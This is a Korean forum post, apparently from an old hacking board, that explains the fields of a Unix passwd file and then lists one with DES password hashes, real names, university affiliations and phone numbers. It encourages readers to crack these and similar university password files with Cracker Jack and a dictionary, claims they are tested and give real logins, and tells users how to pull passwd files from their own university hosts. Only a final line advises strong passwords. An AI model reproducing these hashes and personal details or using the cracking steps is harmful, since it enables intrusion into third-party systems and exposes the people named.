2)암호화된 비밀번호: DES로 암호화되어 역추적불가능하죠.
단지,크랙잭같은 프로그램으로 대입만 가능할 뿐이죠.
3)사용자의 아이디넘버:
4)사용자의 그룹넘버:
5)디스크립션:
6)로긴홈디렉토리:
7)로긴셀
1) 2) 3)4)5) 6)7)
root:WEilPYJf3WBj6:0:1:Operator:/:/bin/csh
nobody:*:65534:65534::/:
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:3:3::/bin:
uucp:*:4:8::/var/spool/uucppublic:
news:*:12:6:Internet News:/usr/lib/news:/bin/csh
usenet:*:13:6:/Internet News Helper:/var/spool/news:/bin/csh
ingres:*:7:7::/usr/ingres:/bin/csh
audit:*:9:9::/etc/security/audit:/bin/csh
sync::1:1::/:/bin/sync
sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
lim:jAN90JhjdNIX2:3001:10:Seogdae Lim,{Computer Center SUN630CC(3000)}:/home4/lim:/bin/csh
lee:fspD3tUjKYR9E:3003:10:training member:/home/lsy:/bin/csh
songgi:NiIND3QyqF7nc:3004:20:Songgi Min:/home2/songgi:/bin/csh
yeongguk:RVPUHkvu1Xpl6:3005:10:Yungguk Cho:/home2/yeongguk:/bin/csh
jungkk:FOr3wq0MXohEQ:3006:10:Kapkyu Jung:/home2/jkkk:/bin/csh
leesy:JAerYaGOF3E92:3007:10:Soonyi Lee:/home2/leesy:/bin/csh
nyoungmi:tU0oS1lvZh07E:3008:10:Youngmi Lho:/home2/nyoungmi:/bin/csh
limsd:AvSQtKfAiSwpw:3009:10:Seogdae Lim:/home4/limsd:/bin/csh
piadm:pxbrdd90BfyNc:3010:90:PI/open Administrator:/usr/isys:/bin/sh
staff:WqNVQ3aKJoPOg:3011:10:system admin staff:/home4/staff:/bin/csh
kreonet:HXrRbEGxfNDT.:3501:3500:KREONET of KAIST,{찗쏮첲산쟤(3500)}:/home2/kreonet:/bin/csh
kmucc:XGOXIUD7hhDLg:3601:3600:Keimyung Univ.,{UNIVERSITY(3600)}:/home2/kmucc:/bin/csh
pusan:i0Dwz1WzyckUk:3602:3600:Pusan Univ(510-1860):/home2/pusan:/bin/csh
donga:nW1mEg90C2emc:3603:3600:Dong A Univ(200-6415):/home2/donga:/bin/csh
ympark:es6oTq31Uelfs:3604:3600:Kyungsang Univ,(0591-751-5132):/home2/ympark:/bin/csh
mskim:t0dv9tgBrQKGo:3902:3900:Mansik Kim,{Main Library(3900)#옷쨠쎂#}:/home2/malib/mskim:/bin/csh
이번에 함께제공하는 패스워드 화일을 설명하자면,
japan.cap 일본 모대학
pass.cap 인제대학교
pass.cap 어딘지 까먹었음
pwd.txt me too.
이걸 바탕으로 '사전'을 이용해서 크랙잭을 돌려보면 패스워드를
잡아낼겁니다.
이걸로 실제 접속이 가능하니 해보세요.
모두 테스트를 거친것들입니다.
일반 대학 계정 있는 분들은 위에 알려준 방법으로 패스워드 화일을
빼내면 되고 쉐도우 패스워드로 보안을 유지하고 있는 곳은
at명령등을 써보고 그래도 안돼면 일단 게으르지 않은 관리자에게
존경의 박수를 보내며 다른 방법을 찾아봅시다.
크랙잭을 사용하는 법은 다음과 같습니다.
jack 을 실행하면 됩니다.
그러면 일단 패스워드 화일을 입력하라고 나옵니다.
예를 들어 pass.cap 을 치고 다음에는 사전을 입력하라고 합니다.
그러면 dict.txt 등을 치면 됩니다.
그러면 자동으로 사전속에 들어있는 것을 대입하여 암호를 찾아냅니다.
중간중간 암호를 찾아내었을때 삑~ 소리와 함께 암호와 아이디가 표시됩니다.
이러한 크랙잭에 걸리지 않기 위해서는 무조건 비밀번호를 어렵게 만드는
길밖에 없습니다.
특수문자 세자이상 넣으시길...
* 따삼님에 의해서 게시물 이동되었습니다 (2008-03-26 11:46) |
|
